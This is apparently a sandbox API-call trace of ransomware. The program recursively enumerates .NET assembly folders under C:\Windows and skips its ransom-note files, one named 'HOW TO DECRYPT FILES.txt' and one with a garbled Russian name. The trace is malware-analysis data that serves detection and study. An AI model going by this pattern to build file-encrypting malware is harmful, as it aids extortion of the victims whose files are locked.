FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Deployment\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfddb9fd0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfddb9fd0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfddb9fd0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.918] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfddb9fd0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfddb9fd0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfddb9fd0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.918] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfddb9fd0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc1764204, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc1764204, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="2.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="200~1.0__")) returned 1 [0101.919] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Deployment\\*.*") returned="*.*" [0101.919] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Deployment\\2.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfddb9fd0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc1764204, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc1764204, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.919] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfddb9fd0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc1764204, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc1764204, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.919] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d135b7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d135b7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d15bcdc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xed000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Deployment.dll", cAlternateFileName="")) returned 1 [0101.919] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.919] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Deployment.dll") returned -1 [0101.920] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Deployment.dll") returned -1 [0101.920] lstrcmpiA (lpString1="", lpString2="System.Deployment.dll") returned -1 [0101.920] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Deployment\\2.0.0.0__b03f5f7f11d50a3a\\*.*") returned="*.*" [0101.920] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.Deployment\\2.0.0.0__b03f5f7f11d50a3a\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.Deployment\\2.0.0.0__b03f5f7f11d50a3a\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.Deployment\\2.0.0.0__b03f5f7f11d50a3a\\" [0101.920] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Deployment\\2.0.0.0__b03f5f7f11d50a3a\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Deployment\\2.0.0.0__b03f5f7f11d50a3a\\") returned="" [0101.922] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d135b7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d135b7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d15bcdc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xed000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Deployment.dll", cAlternateFileName="")) returned 0 [0101.922] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.922] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfddb9fd0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc1764204, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc1764204, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="2.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="200~1.0__")) returned 0 [0101.922] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.922] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfddb9fd0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfddb9fd0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfddb9fd0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Design", cAlternateFileName="SYSTEM~1.DES")) returned 1 [0101.922] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.923] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Design\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfddb9fd0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfddb9fd0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfddb9fd0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.923] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfddb9fd0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfddb9fd0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfddb9fd0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.923] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfddb9fd0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbfad39cf, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbfad39cf, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="2.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="200~1.0__")) returned 1 [0101.923] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Design\\*.*") returned="*.*" [0101.924] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Design\\2.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfddb9fd0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbfad39cf, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbfad39cf, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.924] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfddb9fd0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbfad39cf, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbfad39cf, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.924] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97f3c545, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97f3c545, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x982f47ac, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4b3000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Design.dll", cAlternateFileName="")) returned 1 [0101.924] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.924] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Design.dll") returned -1 [0101.924] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Design.dll") returned -1 [0101.924] lstrcmpiA (lpString1="", lpString2="System.Design.dll") returned -1 [0101.924] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Design\\2.0.0.0__b03f5f7f11d50a3a\\*.*") returned="*.*" [0101.925] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.Design\\2.0.0.0__b03f5f7f11d50a3a\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.Design\\2.0.0.0__b03f5f7f11d50a3a\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.Design\\2.0.0.0__b03f5f7f11d50a3a\\" [0101.925] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Design\\2.0.0.0__b03f5f7f11d50a3a\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Design\\2.0.0.0__b03f5f7f11d50a3a\\") returned="" [0101.927] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.927] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfddb9fd0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfddb9fd0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfddb9fd0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.928] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices\\*.*") returned="*.*" [0101.928] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices\\2.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfddb9fd0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbf2caf80, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbf2caf80, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.929] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.929] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.DirectoryServices.dll") returned -1 [0101.929] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.DirectoryServices.dll") returned -1 [0101.929] lstrcmpiA (lpString1="", lpString2="System.DirectoryServices.dll") returned -1 [0101.929] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices\\2.0.0.0__b03f5f7f11d50a3a\\*.*") returned="*.*" [0101.929] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices\\2.0.0.0__b03f5f7f11d50a3a\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices\\2.0.0.0__b03f5f7f11d50a3a\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices\\2.0.0.0__b03f5f7f11d50a3a\\" [0101.929] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices\\2.0.0.0__b03f5f7f11d50a3a\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices\\2.0.0.0__b03f5f7f11d50a3a\\") returned="" [0101.940] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.940] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices.AccountManagement\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a4fe61, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a4fe61, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.941] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices.AccountManagement\\*.*") returned="*.*" [0101.942] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices.AccountManagement\\3.5.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc05178c2, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc05178c2, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.942] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.942] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.DirectoryServices.AccountManagement.dll") returned -1 [0101.942] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.DirectoryServices.AccountManagement.dll") returned -1 [0101.942] lstrcmpiA (lpString1="", lpString2="System.DirectoryServices.AccountManagement.dll") returned -1 [0101.942] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices.AccountManagement\\3.5.0.0__b77a5c561934e089\\*.*") returned="*.*" [0101.942] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices.AccountManagement\\3.5.0.0__b77a5c561934e089\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices.AccountManagement\\3.5.0.0__b77a5c561934e089\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices.AccountManagement\\3.5.0.0__b77a5c561934e089\\" [0101.942] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices.AccountManagement\\3.5.0.0__b77a5c561934e089\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices.AccountManagement\\3.5.0.0__b77a5c561934e089\\") returned="" [0101.945] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.945] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices.Protocols\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdde012a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdde012a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdde012a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.946] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices.Protocols\\*.*") returned="*.*" [0101.946] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices.Protocols\\2.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdde012a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdde012a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdde012a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.947] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.947] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.DirectoryServices.Protocols.dll") returned -1 [0101.947] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.DirectoryServices.Protocols.dll") returned -1 [0101.947] lstrcmpiA (lpString1="", lpString2="System.DirectoryServices.Protocols.dll") returned -1 [0101.947] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices.Protocols\\2.0.0.0__b03f5f7f11d50a3a\\*.*") returned="*.*" [0101.947] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices.Protocols\\2.0.0.0__b03f5f7f11d50a3a\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices.Protocols\\2.0.0.0__b03f5f7f11d50a3a\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices.Protocols\\2.0.0.0__b03f5f7f11d50a3a\\" [0101.947] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices.Protocols\\2.0.0.0__b03f5f7f11d50a3a\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices.Protocols\\2.0.0.0__b03f5f7f11d50a3a\\") returned="" [0101.950] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.950] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Drawing\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdde012a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdde012a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdde012a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.951] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Drawing\\*.*") returned="*.*" [0101.951] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Drawing\\2.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdde012a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc0e2acb3, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc0e2acb3, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.952] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.952] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Drawing.dll") returned -1 [0101.952] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Drawing.dll") returned -1 [0101.952] lstrcmpiA (lpString1="", lpString2="System.Drawing.dll") returned -1 [0101.952] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Drawing\\2.0.0.0__b03f5f7f11d50a3a\\*.*") returned="*.*" [0101.952] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.Drawing\\2.0.0.0__b03f5f7f11d50a3a\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.Drawing\\2.0.0.0__b03f5f7f11d50a3a\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.Drawing\\2.0.0.0__b03f5f7f11d50a3a\\" [0101.952] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Drawing\\2.0.0.0__b03f5f7f11d50a3a\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Drawing\\2.0.0.0__b03f5f7f11d50a3a\\") returned="" [0101.955] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.955] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Drawing.Design\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdde012a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdde012a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdde012a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.956] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Drawing.Design\\*.*") returned="*.*" [0101.956] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Drawing.Design\\2.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdde012a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdde012a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdde012a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.956] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.956] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Drawing.Design.dll") returned -1 [0101.956] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Drawing.Design.dll") returned -1 [0101.957] lstrcmpiA (lpString1="", lpString2="System.Drawing.Design.dll") returned -1 [0101.957] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Drawing.Design\\2.0.0.0__b03f5f7f11d50a3a\\*.*") returned="*.*" [0101.957] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.Drawing.Design\\2.0.0.0__b03f5f7f11d50a3a\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.Drawing.Design\\2.0.0.0__b03f5f7f11d50a3a\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.Drawing.Design\\2.0.0.0__b03f5f7f11d50a3a\\" [0101.957] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Drawing.Design\\2.0.0.0__b03f5f7f11d50a3a\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Drawing.Design\\2.0.0.0__b03f5f7f11d50a3a\\") returned="" [0101.960] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.960] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.IdentityModel\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, 